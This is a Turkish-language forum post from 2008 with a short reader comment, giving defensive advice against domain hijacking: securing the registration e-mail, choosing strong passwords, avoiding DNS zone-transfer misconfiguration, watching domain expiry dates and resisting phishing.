Bu bilgiler alındıktan sonra gelebilecek saldırılardan korunmak için;

Domain Hi-Jacking saldırılarından korunmak için temel yöntem tedbirdir. Şöyle ki; domain hacking’te temel yöntem registration e-mail hack’tir. Bu mail hacklendikten sonra, domainin tescil edildiği domain firmasından yeni şifre istenir. Ayrıca domainin geri alınmasını engellemek için zone transfer yapılır. Kısacası e-mail saldırısıyla eğer domaininiz alınırsa, bunu geri almak mümkün olmayabilir.

Ayrıca şifre güvenliğini sağlamak için en garanti yol, zor şifreler seçmektir. Örneğin; şifrenizin 123456 olduğunu varsayalım. Saldırgan belli bir şifre kombinasyonunu baz alarak saldırı yapan Brute Attack programlarıyla, domain şifrenizi çalmaya çalışacağı zaman, daha ilk denemelerde bu şifreyi ele geçirebilir. Ama şifrenin %x-m4st3r?$x-Master% olduğunu düşünün. Böyle bir şifreyi deneme yanımlayla ele geçirme ihtimali hemen hemen yok gibidir.

Whois sorgusunda DNS bilgilerini gören Attacker, DNS sorgulaması ($nslookup) yapacaktır. Burası çok önemli bir noktadır. Eğer konfigürasyon hatası yapılmışsa, Zone Transfer yapılabilir, Domain Hi-Jacking edilebilir. O yüzden bu noktaya dikkat edilmelidir.

Domain’lerin her alanda güvenilir olduğuna inandığınız halde domaininiz el değişiyorsa, Date Expire tarihlerini kontrol edin. Unutmuş olduğunuz domain Date Expire tarihi dolduğu zaman, farklı bir kullanıcı domaininizi satın alabilir, legal olarak domain elinizden çıkmış olur. O yüzden bu detayı da atlamamak gerek.

Web uygulamalarında Domain Güvenliğinin en büyük bölümünü oluşturan Registration Mail güvenliği, Domain’lerin hacklenmesinin çoğunluklu nedenidir. Bu nedenle Registration Mailinizi koruyabilmek için;

-> Meraklı olmayın.. E-Mail’lerin ele geçirilmesinde yararlanılan bir diğer zaaf meraklılıktır hiç şüphesiz. Saldırgan size bir e-Mail yollayabilir. Bu e-Maillerde bir takım XSS kodları bulunabilir ve eğer kullandığınız e-Mail, hotmail.com gibi bir servisten alınmışsa Cookie bilgileriniz saldırganın eline geçebilir. Veya saldırganın gönderdiği e-Posta’da bir eklenti olduğunu varsayıyoruz. Bunu direk indirip açmak, aceleci davranmak, e-Mail hesabınızı kaybetmenize neden olabilir.

-> Gizli sorularınızın cevabını alakasız yapın.. Gizli sorularınızın cevabını, sorduğunuz soruya karşılık olacak şekilde değil de, bağlantısız bir şeyler yapmaya özen gösterin. Zira saldırganın, tahmin gücünü düşürmede etkili olacaktır.

-> Sizden şifre soran hiçbir postayı yanıtlamayın.. Unutmayın ki, hiçbir mail servisi sizden şifrenizi sormayacaktır..

-> Size giriş yapmanız için sunulan sayfalarda ,browser’a bakın.. Bu yolla sitenin kime ait olduğunu görebilirsiniz.

-> Tanımadığınız kişilerden gelen dosyaları, mailleri açmayın ve mümkünse iyi bir güvenlik duvarı kullanın..






Beğeniler: 0
Favoriler: 0
İzlenmeler: 527
favori
like
share
tekkursun68 Tarih: 29.03.2008 16:45
saol süper ama bana lazim olmaz ;D